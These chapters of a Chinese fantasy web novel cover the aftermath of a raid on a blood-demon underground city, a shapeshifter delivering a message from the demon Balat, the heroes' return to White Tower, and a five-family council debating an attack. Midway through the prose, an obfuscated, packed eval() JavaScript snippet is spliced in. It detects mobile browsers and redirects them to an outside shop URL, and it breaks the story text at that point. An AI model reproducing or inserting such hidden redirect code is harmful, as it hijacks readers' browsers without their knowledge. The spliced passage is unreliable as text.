毫无防备的血魔们,遇到了全副武装的精锐执行人。他们可能在睡觉,可能在吃饭,可能在照顾孩子,然后杀戮就来了。 尽管是非正义的偷袭,但战争本就绝非正义。 出口处的红点试图突围,但守在那里的执行人早有准备,源血能力的光芒在地图上炸开,然后红点成片变灰。无论是血魔还是白塔的执行人,等他们迈向死亡,在系统界面里,也不过是一个个变灰的红点。 大地切割了地上与地下,也隔绝了一切声响。 等清晨的太阳再次升起时,行动结束了。 执行院的人陆续从通道里出来。回来的人身上大多带伤,多是皮肉伤或源血反噬。 没有人重伤到需要林砚出手救治。 需要的人已经死了。 一切都同昨日无二。 余绣纶的小队是最后一批返回的。 她换掉了沾血的外套,但身上的作战服还有干涸的暗红色污渍,已经结成了硬块。头发又湿又黏,分不清是自己还是血魔的血液从发梢滴落。 “林老师,”她快步走过来。看到林砚时松了口气,“我们大获全胜,有血魔拼命换走了几个人,但基本上大部分都清剿完毕。有两三个逃跑了,主队正在追捕。” 余绣纶捋了捋糊在脸上的头发。 “我们准备撤退了。林老师,你是跟我们一起先行离开,我们把你送回去,还是等白塔收尾小组来,跟学生们一起回去?” 林砚看着她。 余绣纶的眼睛很干净,没有愧疚,也没有兴奋,只有完成任务后的放松。对她来说,这只是一次成功的清剿行动,和以前无数次一样。 林砚不打算接着麻烦他们,打算等白塔的人来了再顺路回去。 况且,他也需要去地下城里确认一下。 “我跟白塔的人一起回去吧。”林砚说,“不麻烦你们了。” 余绣随即点头:“好。收尾小组预计下午之前会到位,他们会处理现场。你一个人注意安全。” 收尾小组还没到,林砚先下去了。 系统只告诉了他伤亡数量,林砚没有细问具体情况,因为他想亲眼去看。 通道里很安静,只有他的脚步声。血腥味从深处涌上来,越来越浓,浓到几乎凝成实质。林砚放慢了呼吸,但那种味道还是钻进了鼻腔,甜腻中带着铁锈味,令人作呕。 本就破破烂烂的厄科斯如今更为破烂了。 墙壁上布满了裂痕和焦痕,有些地方被整个炸开,露出后面的土层。地上积的不再是水,变为了红色的海洋,半凝固的血液混合着碎肉和组织液,在坑洼处汇聚成小潭。超能力造成的破坏比比皆是,有些通道甚至因此塌陷下坠,废墟下还有人类的残肢。 人类总是容易为同类的惨状产生感同身受。 在林砚作呕之前,系统调整了他的视觉。那些过于具体的细节变得模糊,颜色也被淡化,红色褪成暗褐,白色变成灰白,整个场景像一幅劣质的油画。 谢了,系统。 林砚想要深呼吸调整心态,但周遭的血腥气息不允许他这么做,浓郁的血腥气同样让他感 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他想起王敬在白塔时的样子:总是穿着熨烫整齐的衬衫,金丝眼镜后的眼神温和,说话慢条斯理。他是教务处的负责人,每年开学典礼都会站在台上致辞,欢迎新生加入白塔。 即将前来收尾的学生们也在其中。 不知道算不算得上好消息,林砚没在这里看到亚巴顿。 林砚一路上都没看到过他的脸,以亚巴顿的能力和警觉性,他大概率是跑掉了。 林砚希望他跑掉了。 “唉。” 那口气终究还是叹息出声。 林砚到底本身是个在文明社会出生长大的人,还是见不惯这种杀人与被杀的场面。 王敬毕竟曾经也是他的同事,无论如何,在作为老师照看学生的时光里,他一直是个合格的老师。他在白塔工作了十几年,送走了一批又一批学生,无论接下任务的学生是谁,他们必然都认识这位曾经的老师。 这与学生的最后一面,还是给他保留些颜面吧。 远处遥遥传来脚步声,负责收尾的学生来得很快。 林砚不作他想,蹲下身体,给王敬收拾出最后的体面。 他没有别的需要关注的事了,地下城很快就会变成真正的废墟。林砚准备离开厄科斯,回到地面上去等。 最后看了一眼王敬,林砚转身离开。 脚步声越来越近。 收尾的学生在拐角与他擦身而过,然后猛地回头。 “林医生!你怎么在这里!” 这声音…… 红发少年站在通道里,穿着白塔的制服,外面套了件一次性防护服。他眼睛瞪得很大,眉毛几乎要飞出发际线。面部五官乱飞,看起来比林砚还惊讶。 林砚眨了眨眼。 “早上好,陆燃同学。” 36. 你好~传话筒耶洗别酱desu~…… 陆燃嘴上说着话,手里的事情没停。 他在每个死者身边蹲下,动作熟练地检查衣物口袋,试图翻出钱包、证件、随身饰品,或者任何有特征的物品。也有些血魔身上什么都没有,他就打开记录仪,对着尸体的面部和明显特征拍照,在键盘上快速键入描述。 时不时地还瞥一眼林砚,看他有没有离开,嘴上也没个停。 “林医生你等下你先别走,”陆燃头也不抬地说,手指在记录仪上滑动,“赵铁心就在后面我喊他马上过来。” 林砚还没来得及回应,陆燃已经扯足了嗓子,朝着通道深处大喊: “赵!铁!心!过!来!” 声音在地下空间里炸开,撞在墙壁上又弹回来,层层叠叠的回音在通道里循环回荡。太响了,响亮到林砚都感觉有点耳鸣,耳膜嗡嗡作响。 然后他听到脚步声。 赵铁心得得地从另一条通道拐出来,脚步有些重,踩在积血的地面上发出黏腻的声响。他跑到拐角处,嘴巴张了一半,像要喊什么,但在看到林砚的瞬间,那个口型变成了一个完美的圆圈。 “林医生,你怎么在这里啊?!” 他问的问题和陆燃一模一样。 林砚看着他。赵铁心身上也套着一次性防护服,但袖口和裤腿都沾满了暗褐色的污渍。他的气色比在病房时好了很多,脸上那些恐怖的血蚀纹路已经淡到几乎看不见,只剩下皮肤下隐约的暗色血管。 “白珍塔主安排我随行本次任务。”林砚简短地说,然后明知故问,“你们俩为什么也在这里?” 赵铁心挠了挠头,防护服的帽子随着动作歪到一边。他看了眼陆燃,又看了眼地上还没检查完的几具尸体,表情有些幽怨。 “我们接了白塔的收尾任务。”他说,然后转向陆燃,“先替你检查是吧……成,行吧。陆哥你去跟林医生聊吧。” 赵铁心蹲下身,开始接手陆燃刚才的流程。 在陆燃开口之前,赵铁心又抬起头,见缝插针地偷偷蛐蛐他:“我也是有活要干的,陆哥……你等下记得回来帮我。” “知道了。”陆燃摆摆手,“等下我也帮你一起。” 回复完赵铁心,陆燃这才转向林砚。他摘掉沾血的手套,随手塞进防护服口袋,深吸了一口气——随即皱起眉,嫌弃地五官缩成一团。 “我们昨天就到长渡了,”陆燃说,“一直在长渡城里等通知,刚才收到指挥部通知,说地下城清理完毕,可以来收尾了,就直接过来了。” 林砚上上下下看了陆燃一圈。 “就你们俩吗?”林砚问,“这地方还挺大的,你们忙得过来?” “没啦。”赵铁心插嘴道。他已经检查完一具尸体,正费力地把那具男性的躯体扛起来,搬到旁边的手推车上。尸体摞在一起,四肢垂落,像一堆破布娃娃。 他调整了一下位置,确保不会他们滑落。 “这次收尾来了三队人,”赵铁心继续说,“都是五六年级的。清寒也在哦,她在上面统计和汇总数据,没下来。” 赵铁心动作显然比陆燃麻利熟练得多,说话间,赵铁心已经走进了那间房门大敞的城主屋。 林砚的视线跟着赵铁心移动,落在那个房间里。 陆燃注意到林砚的目光,也跟着看过去。 通道里突然安静下来。只有远处其他收尾学生隐约的脚步声,还有水珠从天花板滴落、砸进血泊里的细微声响。 林砚沉默着。 屋里的赵铁心也没了动静。 陆燃有些莫名,皱起眉,跟着走了进去。 “……王敬?” 陆燃有些困惑地叫出了死者的姓名,语气里有些不确定,像是希望自己看错了。 林砚没有等陆燃和赵铁心出来,在这个时候转身离开了。他的脚步声很轻,在寂静的通道里依然清晰,但陆燃和赵铁心没再喊住他。 对比地下,地面上的空气真是格外的清新。 执行收尾任务的小队里,林砚只认识陆燃小队。但其他孩子们都认识他,他之前在开会时出现过,金色的头发和过于俊美的脸让人很难忘记,学生们都记住了这个长得特别好看的林老师。 林砚在队首的指挥车上见到了苏清寒。 她一个人的身前摆着三台电脑,屏幕的光映在她脸上,明明灭灭。手指在键盘与学生递给她的资料间高速移动,指尖啪啪地记录着数据。 看到林砚进来,她抽空抬起头,跟他打了个招呼,然后又扭头看向电脑屏幕。 林砚看了一会儿。 这次的收尾工作似乎并不轻松。不仅仅是体力劳动,还有大量的信息核对、身份确认、以及后续的流程处理。苏清寒一人承担起最复杂的数据工作,而其他学生则负责执行和搬运。 为了不妨碍他们,林砚找了个角落的位置坐下休息。 即便如此,每个回来交接搬运的学生还是不由得多看了他两眼。 目光扫过他金色的头发,扫过他闭着的眼睛,扫过他平静的侧脸。这些学生脸上还带着稚气,但眼神已经不像低年级学生那样天真。但在看到林砚时,那些紧张和疲惫的表情里,还是会短暂地浮现出不加掩饰的喜爱。 少年少女们的喜欢简单又直白,像林砚这么好看的人坐在这里,多看几眼是很自然的事。 欣赏美貌是人之常情。 林砚安静地坐着,看着他们进进出出。他不由得将他们和年轻的血魔们进行对比,主要是亚巴顿。血魔孩子的眼睛里有过早的世故和隐约的自毁欲,相比起同龄的血魔,白塔的孩子们眼里还有尚未被社会拷打磨灭的光,真的是格外单纯。 【砚宝,你知道为什么白塔的孩子们更单纯吗?】 系统的声音突然在意识里响起,语气里带着点闲聊的意味。它大概看出林砚有些无聊,主动跳出来陪他解闷。 林砚想了想,在意识里回应: 因为有人保护? 【血魔的哥哥姐姐辈,大部分时候也会保护下面的弟弟妹妹辈。其实主要是年龄差距的问题。】 林砚在心里回:倒也合理。血魔平均年龄比沸血者低吧,所以他们更早熟,就像战争地区的孩子比和平地区的孩子早熟一样。 【差不多就是这个道理。】 【沸血者的平均年龄在四十七岁上下,而天生血魔的平均年龄只有十九岁。毕竟是平均年龄,所以大部分血魔其实都活不到成年。沸血者转化的血魔不在统计的范围内,他们普遍是成年人。但由于天生源血的差距,哪怕天生血魔更年轻,他们也能依靠自己的力量,从年纪更大的沸血者血魔身上夺得话语权。】 原来是这样。 林砚在心里打趣道:系统小课堂开课啦。 【血魔的生存环境注定了他们必须早熟。要么学会绝境里求生,要么死。没有中间选项。】 林砚在心里回应:白塔的孩子也有战斗训练。 【那不一样。】系统说,【白塔的训练是为了‘将来可能面对的战争’,血魔的生活就是战争本身。每一天都是。】 【而且……】 “林老师?” 一个声音打断了他们的意识交流。 林砚抬起头。 这是个扎着马尾辫的棕发女学生,套着和其他学生一样的防护服,长相平平无奇,属于那种丢进人群里就会瞬间泯然众人的类型。 林砚确定自己不认识她。 “这位同学,”林砚开口,声音温和,“你有什么事吗?” 女生没有马上回答。 她先看了看车厢里——苏清寒背对着他们,正全神贯注地处理数据,其他学生都在车外忙碌——然后才转向林砚。 她笑了一下,带着点学生气的腼腆。 “林老师,”女生说,“我好像看到了什么奇怪的东西,就在那边的树林里。他们都好忙,我不敢打扰苏学姐,您能来帮我看看吗?” 她说话时,手已经伸了过来,自来熟地扯住了林砚的衣袖。 “奇怪的东西?”林砚问。 “嗯。”女生点头,表情有点紧张,“我也不知道是什么……就、就是感觉不太对劲。您能来看看吗?就在那边,不远。” 她说着,手上微微用力,把林砚从箱子上拉起来,然后转身就往车外走。 虽然有些莫名,但是自信于自身的实力,林砚还是顺着她出去了。 林砚跟着女生跳下车厢,在心里暗自对系统吩咐道:盯着她。如果她使用能力,或者周围有异常能量波动,马上提醒我。 【好的。】系统回答,【目前未检测到源血波动,未检测到能力发动迹象。】 女生拉着林砚下了车,穿过各有各忙的人群,往树林里走。 这里离营地已经有段距离,能隐约听到远处学生们的说话声,但视线被茂密的树木遮挡,已经看不到指挥车了。 女生停下脚步,背对着林砚,低下头去。 林砚默不作声地看着她的背影,盯着她的手脚,以防万一。 他的右手垂在身侧,手指微微屈起。血液在血管里平缓流动,随时可以进入发动能力的预备状态。“祸血凭依”启动速度极快,哪怕对方突然发难,他也能应对。 女生抬起右手。 林砚的肌肉瞬间绷紧。 但女生只是把手按在了自己脸上。 她的手掌从额头缓缓抹到下颚,然后扭过身来正对林砚。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035888|191871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 少女还是那个少女,但已经完全不是同一个人了。 原本平平无奇的五官像被一只无形的手重新捏过,眉毛变得浓密而英气,眼睛变大,眼尾微微上挑。她的脸颊两侧浮现出淡淡的血蚀纹路。颜色很浅,像是用最细的笔尖蘸着淡红色墨水描画上去的。 她瞬间从一个平平无奇的女学生,变成了一个浓眉大眼、唇红齿白的血魔少女。 她依旧扎着棕发马尾辫,但整个人散发出一种截然不同的气质,怎么看都和刚才的完全不是同一个人。 她雀跃地蹦到林砚身前,抬起头咯咯直笑。 “你好!林老师!”她开口,声音也变了,清亮中带着点撒娇般的甜腻,“我是耶洗别,是妹妹噢!” 她说完,蹦蹦跳跳地绕着林砚转了一圈,眼睛上下打量着林砚,从头发到肩膀,从胸口到腰,再到腿和脚。 林砚站在原地,任由她看。他脸上没什么表情,只是等她转完一圈、重新站到他面前时,才开口问: “怎么了,耶洗别,找我有什么事吗?” 耶洗别点点头,马尾辫随着动作晃了晃。 “身高、体重、三维、音调……好的,耶洗别记住咯!” 然后她抬起头,笑容灿烂。 “嗯嗯!该说正事啦!” “是巴拉特姐姐让我来传话的!” 林砚歪了歪头。 “巴拉特姐姐?亚巴顿不是喊他叫哥哥吗?” 耶洗别也跟着一起反方向歪了歪头。 “巴拉特姐姐说喊他哥哥姐姐都没关系耶。”她眨眨眼,“我喜欢姐姐,所以我就喊他姐姐啦。嗯嗯!总之,亚巴顿弟弟把林砚哥哥你的事情跟巴拉特姐姐说啦,但是姐姐现在还有别的事要忙,就让我过来帮忙传个话。” 她说完,闭上眼睛。 等她再睁开眼时,明明容貌不变,但整个人完全像是换了个人。 刚才那种孩童般的天真和雀跃消失了,取而代之的是一种慵懒的妩媚。 她看着林砚,笑眼如钩,瞳孔里映出林砚的影子,但那眼神不像在看一个初次见面的陌生人,更像是在看自己的宝贝情人。连睫毛都像是在欲语还休,随着眨眼的动作轻轻颤动。 耶洗别勾起唇角,硬生生用神情让这张清纯的脸变得妩媚动人。 她开口说话,那奇妙的语调节奏使得声音成熟而迷人。 “砚弟弟,王敬那个笨蛋怕是乱了你的计划吧。” 她语气中带着亲昵的埋怨,像在说一个共同认识的不成器朋友。 “本来可以瞒住在白塔里偷偷发育的,硬是让他把消息给透了出来,弄得我们这边想装不知道都难了。” 毋庸置疑,说话之人就是巴拉特。 系统在他意识里轻声提示:【未检测到能力波动,未检测到精神控制迹象。】 巴拉特并不在这里,这只是耶洗别在扮演他当时说话的姿态,原封不动地传话给林砚。 耶洗别笑着抚上林砚的小臂,指尖轻轻地点在上面,并不真的落下。动作轻佻,但眼神清醒。 “本来小亚的意思是让大家都装作不知道,我们俩偷偷联系就好,但白塔那边既然已经知道王敬是内鬼,还让他给逃了出来传递消息,那我们就必须知情了。将计就计让他跑出来也是你计划的一环吧,你原本是想让我们去白塔里找你,主动跟你联系上,对么?” 耶洗别只是在给巴拉特传话,因此,林砚无需对提问做出回答。 “只是这个蠢人被发现了,导致你的盘算也乱了,真讨厌。” 她撇撇嘴,表情像个闹别扭的少女,但眼神里的妩媚丝毫未减。 “而且既然我们都知道你有逆血蚀的能力了,不可能无动于衷不来找你。小亚还是太年轻啦,有得学了。” 她收回手,站直身体。 笑容依旧勾人,但姿势变得端庄起来,双手交叠放在身前,像个教养良好的淑女。两种矛盾的气质在她身上奇妙地融合。 “但是砚弟弟,你别担心,我会派人去白塔找你的。” “去找你的那些家伙,你杀了也好,放走也罢,总之,我不会让你因为家人出现暴露风险的,放心吧。” “叫我巴拉特姐姐或者巴拉特哥哥都可以,只要你喜欢,怎么喊都行。小洗给你带了通讯器,有什么事发愁都可以找我。记住。” 她往前倾身,掏出一个巴掌大的通讯器放在林砚手心,又用手指盖在他的手背,轻轻合拢他的手掌。 耶洗别嘴唇凑近到林砚耳边,声音轻得像羽毛: “家人永远爱你。” 说完,她松开手,后退一步,摇了摇头。 就又变回了耶洗别。 37. 欢迎回到白塔 回去的路上,林砚一直在想关于巴拉特的事。 引擎声在耳边嗡鸣,车厢随着路面颠簸微微摇晃。 窗外,长渡的轮廓逐渐远去。 在亲身接触后,林砚很难对这群血魔兴起纯粹的厌恶。 也许是因为他们把林砚视作自己人的一员,不管林砚愿不愿意,他们有些蛮横地单方面宣布了“你是家人”。 也许是因为林砚觉得想活下去这件事并没有错。血魔的求生欲并不比沸血者的守护欲低劣。 但这些都不是他当下最困扰的。 那些关于立场、道德、生存权的宏大命题,都可以留到以后再慢慢想。 他现在只想知道一件事。 系统…… 林砚还是没忍住,在意识里轻声呼唤。 那个…… 林砚犹豫了一下,但好奇心最终战胜了那点微妙的尴尬。 巴拉特,他斟酌着用词,到底是男性还是女性啊? 系统沉默了小会儿。 【稍等,】机械音平淡无波,主打一个公事公办,【我检索一下数据。】 【经查验,其本人为男性血魔,现年龄十九岁。】 男性? 林砚眨眨眼。 耶洗别喊他姐姐,亚巴顿喊他哥哥,巴拉特自己说“哥哥姐姐都可以”…… 他是跨性别者吗?林砚在心里问。 【并非。】系统回答得很干脆。 【经过往对话记录查验,巴拉特曾对弟弟妹妹们这样解释:像我这么美丽的人,做男做女都精彩,你们无论把我当哥哥还是姐姐都可以,我都会很高兴的。不过你们还是要记住,我本人依旧是男性,哪怕喊我姐姐,也别真当了真噢。】 林砚:…… 感觉他还挺享受的,这种模糊性别带来的乐趣和便利。 系统又查到了有意思的内容,兴致更高了,赶紧和林砚分享。 【巴拉特后面这段话,其实是特意对耶洗别说的。】 为什么? 林砚下意识问。 【因为耶洗别曾经邀请巴拉特跟她一起泡澡。】系统回复他,【把巴拉特吓到了。】 林砚:“……” 他豁然开朗,想象了一下那个画面,顿时被逗乐。 “林医生?” 旁边的声音让林砚回过神来。 是旁边的陆燃注意到他情绪的变化。 “怎么了?”陆燃问,表情有点困惑,“你刚才……在笑?” 赵铁心和苏清寒的眼神也一同跟过来。 林砚面色迅速恢复平静。 他摇了摇头,把最后那点笑意压回眼底。调整了一下坐姿,语气拿捏得恰到好处,带着点高深莫测:“没什么,只是突然想明白了一件一直没弄明白的事情。” 他说的是实话。 但听在主角团三人耳朵里,完全是另一回事。 陆燃脸上的困惑更深了。赵铁心则睁大了眼睛,看看林砚,又看看车窗外,似乎想从归途景色里找出什么深奥的哲理。苏清寒则微微蹙眉,似乎在努力理解这句话背后的深意。 虽然还是不明所以,但既然这是林老师一直在思考的东西,能让他这样的人都觉得困扰,甚至在任务返程中也不停琢磨,想必应当非常深奥吧。 “真厉害啊,林老师!” 赵铁心感叹道。他是亲身体验过林砚能力的人,对这位年轻医生有种近乎崇拜的信赖。在他心里,林医生思考的肯定是关乎沸血者未来的重大课题。 苏清寒也深以为然地点头,表情严肃得像在课堂听讲。 “连返校途中的零碎时间也在思考,”她说者,手指敲了敲膝盖,“这种不浪费每分每秒的时间规划,这种对知识的渴求和对真理的追求,值得学习。受教了。” 说着,便不知从哪掏出本书,就这么看了起来。 陆燃看看赵铁心,又看看苏清寒,最后看向林砚。 他挠了挠头,红色的短发被揉得乱糟糟的。 “啊?”陆燃说,表情更茫然了,“林老师不就是走神发呆,突然想起来什么被逗笑了吗?我有时候也会这样啊,想到好笑的事就……” 他的话没说完。 因为赵铁心和苏清寒一同投来了不赞同的眼神。 赵铁心看他的表情像恨铁不成钢的家长,整张脸上写满了“你这孩子怎么这么不懂事”。而苏清寒的眼神更直接,完全像是老师在看她不成器的蠢学生,冷漠中带着点怜悯,仿佛在说“没救了,等死吧”。 两种目光压在陆燃身上,让他后半句话卡在喉咙里。 车里安静了几秒。 “陆哥,”赵铁心叹了口气,“你下次还是多跟清寒读点书吧。” 苏清寒没接话,只是面带沉痛地摇了摇头。 陆燃一脸茫然。 他张了张嘴,想说什么,但看看赵铁心,又看看苏清寒,最后看向林砚——林砚正看着窗外,整个脸都侧过去,看不清表情,但陆燃总觉得他在笑。 陆燃觉得只是陈述了一个客观事实,怎么突然就变成了众矢之的? 大家好像背着他偷偷交流了千言万语,达成了某种他完全没理解的共识,然后把他一个人留在原地,没跟上节奏。 他看看这个,又看看那个,最后放弃似的靠回椅背,闭上眼睛。 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陆燃和苏清寒也下了车。陆燃看到赵铁心的表演,翻了个白眼,但没说什么,只是走到一边,活动了一下坐车坐得发僵的肩膀。苏清寒则走到白珍身边,低声汇报了几句什么,白珍点点头。 然后白晓从白珍身后跑了出来。 她像是早就等在那里,只是之前被白珍的身形挡住了,眼睛亮晶晶的。 白珍跑到赵铁心身边站定,看着林砚,嘴唇动了动,然后才发出声音: “林砚,”白晓说,“你回来啦。” 她顿了顿,像是鼓足了勇气,才把后面那句话说出来: “我好想你!” 这句话说得很急,说完她的脸就红了。 不知何时,笑意悄悄地在林砚脸上浮现,让他的整张脸都柔和下来。 白珍拿拐杖敲了两下地面,语气有些埋汰:“你们这群孩子,出去做个任务而已,搞得这么夸张。不知道的还以为你们是远征归来呢。” 她扫了一眼赵铁心,又看了一眼白晓。 “而且你们车开得也太慢了,”白珍继续说,皱着眉,像是个抱怨孙子孙女回家晚的普通奶奶,“都过食堂晚饭点了。食堂的人刚才还来找我,说学生们都把好菜吃完了,你们再晚点连饭都要没得吃了。” 但她的表情可不像她说的话那样。 那张满是岁月痕迹的脸上,此刻嘴角上扬。 “算了,还好老身早有预备,让食堂给你们做了加餐。” 她说着,目光落在林砚身上,对上他的眼睛。 “回来就好。” 38. 沸血议会(X)五大家族(√)^…… 沸血议会所属,中心城市托米斯,索菲亚穹顶。 圆形会议厅的穹顶高达三十米,由整块弧形水晶打磨而成。此时是正午时分,正午的阳光穿透水晶,随着光照的流动投下变幻的光斑。议事厅中央摆着张黑檀木圆桌,环绕圆桌,摆放着五把高背椅,椅背上雕刻着在场之人所在家族的家徽。 陆时彰坐在属于陆家的那把椅子上,身体微微后靠,右手食指有一搭没一搭地敲击着扶手。他看着眼前吵得不可开交的议会长老们,面带微笑地沉默着。 陆时彰觉得这帮人真是吵死了。 他现在,非常、非常不爽。 要是被人知道他心里的想法,这里当场就得闹翻天了。 此刻的陆时彰,心里想的是:真想把这群烦死人的家伙头朝下埋到土里去。 某种意义上,陆燃的坏脾气可能跟陆时彰脱不了干系。陆家的下人们都背后蛐蛐,说少爷那点火就着的性子,跟老爷年轻时候完全一模一样。 一点就炸,不服就干,能用拳头解决绝不用嘴。 后来陆时彰继承了家主的位置,坐进了这把椅子,第一次参加了五大家族会议。 那天他听着其他四位家主互相阴阳怪气了三小时,突然就懂了。 暴怒是最没用的情绪。 从那以后,他渐渐学会了隐藏。把所有的愤怒与烦躁都转化成微笑和场面话。他不再用暴怒胁迫他人,改用更温和也更致命的方式——比如在投票时轻描淡写地投出反对票,然后在对方跳脚时微笑着说“这只是基于家族利益的合理判断”。 所以他才愿意包容陆燃的不成熟,纵容着陆燃的坏脾气。哪怕收到白塔送来的关于陆燃炸了训练场的报销单,他也只是轻描淡写地签字划账,完全不当回事。 毕竟,陆燃也迟早会有变成自己这样的那天。 在这天到来之前,陆时彰希望陆燃是个不受任何人束缚的,世界上最自由的小孩。想生气就生气,想骂人就骂人,想不理谁就不理谁。反正有他这个爹在后面兜着。 听人吵架听得烦了,陆时彰开始走神。 做父亲的一旦有了空,就容易想起自己的孩子。 何况他家孩子还是如此的优秀。 陆时彰的嘴角上扬。每年五大家族年终会议上,他都会想法设法、见缝插针地把陆燃提出来晒晒。什么陆燃拿了年纪第一啊,陆燃出任务出到年度任务榜第一啊,陆燃的能力使用水平又进步了啊。 每说一次,他都能看到其他四位家主脸上那副想骂人、又不得不保持风度的表情。赵公卿会黑着脸哼一声,苏澜会翻个白眼,姜喜年会苦笑,说“陆家主真是教子有方”,黎锦圣则干脆闭上眼睛假装没听见。 好看。 尤其是赵公卿。那家伙的儿子今年都要毕业了,也没拿到过一次年级第一呢。 想起这个,他就笑得更开心了。 陆时彰一直都为陆燃而感到自豪。哪怕抛开救世主的预言,陆燃也足够优秀——能力强大到在同龄人中一骑绝尘,有责任感,有担当。虽然表达方式有点问题,但他居然还有超出其他人的同理心,陆时彰自己小时候都是个对他人完全没同理心的小混蛋。 比起其他家那些要么眼高手低、要么狂妄自大的继承人,陆燃无疑是完美的。 哎。 陆时彰在心里偷偷叹了口气。 想儿子了。 陆燃已经好久没给他打过电话,也没给他写过信了。 上次联系还是两个月前,一条简讯,就三个字:“还活着。” 混账小子。 要是说白塔断网了也就算了,可前两天这小子都跑去长渡了! 长渡!那么大的港口城市,白塔站点也有免费网络,都到这来了,居然也不给他发个消息打个电话!要不是陆家安插在长渡的几个后辈机灵,偷偷拍了几张陆燃执行任务时的照片传回来,陆时彰连儿子头发长长了都不知道。 “陆家主?” “陆家主!” “陆!时!彰!” 议事厅安静了一瞬。 陆时彰的微笑没有丝毫变化,看向最后一个喊他全名的人。他身体微微前倾,十指交叉抵在下巴前。姿势放松,甚至称得上优雅。 他云淡风轻地问道:“怎么了?赵公公?” 被陆时彰如此蔑称,赵公卿的脸色瞬间涨红,额角青筋跳了跳。 他怒极反笑:“哟,陆老狗,回回开会回回走神,坐在那里笑得跟个脑瘫患者一样,你是不是有病啊!” 边上的姜喜年赶紧打圆场:“陆家主、赵家主,有什么事等会开完了再说,要吵架也等会议结束了再吵。” 他抬起双手,做了个向下压的手势。 “正事要紧,正事要紧。” 姜家向来中立,爱好和平,不和任何家族结仇。所以姜喜年来劝架,大家通常都愿意给他几分薄面。 “姜家主说得是。都这么大的人了,是非要紧还是分得清的。”陆时彰颔首,“所以,现在投到几比几了?” 他问得理所当然,仿佛刚才走神半小时的人不是他。 苏澜在此时开口,她是五大家族中唯一的女性族长。 “我们前几天在长渡,发现了萨麦尔的三弟亚巴顿。我们故意放走了他,好让追踪小组一路跟着,找到了血魔的大本营。” “他们把大本营建在了沙漠里,周围空旷、没有掩体。”苏澜继续说,“追踪小组现在不敢贸然深入。我们在投票,是否应该现在直接集结一波兵力清剿血魔主力。” 姜喜年补充道,语气有些无奈:“目前赵家主、黎家主投了是,而苏家主投了反对票。陆家主你都还没说话,我要是也跟着投了‘是’,那你不就没得选了?所以也投了否。” 他解释得很周到,把“我是在等你”的意思表达得明明白白,但谁也不会觉得被冒犯。 “我猜你刚才肯定完全没听,”苏澜说,目光落在陆时彰的脸上,“所以我再解释一遍理由。” 她靠在椅子上,打了个哈欠。 这个动作在她身上显得很违和——她不是那种会当众打哈欠的人。 但陆时彰知道,她是故意的,故意用这种漫不经心的姿态,表达对这场会议、或者说对某些人的不耐烦。 “这一任的萨麦尔性格非常谨慎,在实力上,也是目前为止的历代最强血魔。” “最重要的是,他不但谨慎,还很小心眼。以我们对他的了解,他大概率是不会和其他血魔一起待在大本营的,至少不会长期待在那里。” “除非我们能做到一口气全歼所有血魔,不留任何活口,不然我们随时都要面临他的突然性报复袭击。” 陆时彰提出了意见。< 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“要是打一半,他突然用‘瞬身’跳出来偷袭,”苏澜缓缓地说,目光扫过赵公卿,又扫过黎锦圣,“你们谁自信能在没有防备的情况下,抗住萨麦尔的全力一击?” 无人应声。 赵公卿张了张嘴,但没发出声音。 黎锦圣依旧沉默,像尊雕塑。 姜喜年搓了搓手,看看这个,看看那个。 片刻沉默后,赵公卿说:“我还是觉得不该放过这么好的机会。血魔此时毫无防备,现在直接聚集人手,就能像我们打厄科斯时那样一路平推。等他们有了防备,再想打就难了。” 黎锦圣一言不发。他已经投了票,不打算更改,也不打算做任何解释。 几秒钟后,陆时彰做下决定。 “综合听起来,还是苏家主说的方案听起来更合理一点。我跟票。” 姜喜年脸上露出如释重负的笑容。 他总结道:“好的,那么最终结果为二比三——赵家主、黎家主赞成立即进攻;苏家主、陆家主和我反对。” “我们按苏家主提出的方案进行。黎家主,麻烦你联系那位拟态能力者。我会联系白塔主,请白晓尝试预言。等两边都有初步结果后,我们再开会决定具体行动计划。” 会议结束。 该讨论的已经讨论完了,该吵的也吵完了。 赵公卿当场起身就走,椅子在身后发出刺耳的摩擦声。他没回头,大步走出议事厅,脚步声重重地敲在地板上,逐渐远去。 姜喜年倒是不急。他慢悠悠地收拾好面前的资料,站起身,朝剩下的三人挥挥手,脸上还是那副和气的笑容:“各位,那我也先告辞了。各位家主慢聊。” 议事厅里只剩下三个人。 黎锦圣站起身,整理了一下袖口。 这位很少说话的黎家家主忽然轻笑了一声。 “苏家主,”他突然开口,“你真该在开会时带上你家苏清寒一起来瞧瞧。” 苏澜挑起眉,没说话,等着他的下文。 黎锦圣的目光落在她脸上,又转向陆时彰,最后回到苏澜身上: “让她多跟着学学,学学怎么说服男人。” “不然也不至于像现在这样,就差跟陆燃闹得个你死我活了。” 说完,他才施施然转身离开。 39. 苏清寒(上) 倘若你从小就不被家里人所期待,连出生都像是个错误,你该作何感想? 你会怨恨吗? 你会嫉妒吗? 还是你压根觉得无所谓? 五岁前的苏清寒,是苏家的宝贝大小姐。 她是家主苏澜唯一的亲生女儿,是苏家下一代中最早显现出聪慧特质的孩子。三岁能背诵家族谱系,四岁开始接触基础源血理论,五岁时已经能在家族年末宴会上,端坐在母亲身边,用稚嫩但清晰的嗓音回答长辈们关于家族历史的提问。 每个看向她的目光都带着期许,每句提到她的话都带着夸赞。她是未来的家族继承人,这一点似乎从她出生起就已注定。 六岁之后,一切的关注目光都逐渐消失。尽管宴会上她的座位不变,但家族会议不再允许她旁听。 等到苏清寒七岁时,她在苏家的存在感已经稀薄得像晨雾。 物质上不会缺她什么。衣服是最上等的面料,三餐是精细搭配的营养餐,零花钱的数额甚至比堂亲们更多。但除此之外,她就是家里的透明人。 家族会议没她的位置,年节祭祀站在最外围,就连母亲苏澜,也越来越少踏进她的院子。 没人再问她今天学了什么,没人关心她最近在看什么书。偶尔在走廊里遇见家族里的堂兄堂姐,他们看她一眼,点点头,然后擦肩而过。连话都懒得说。 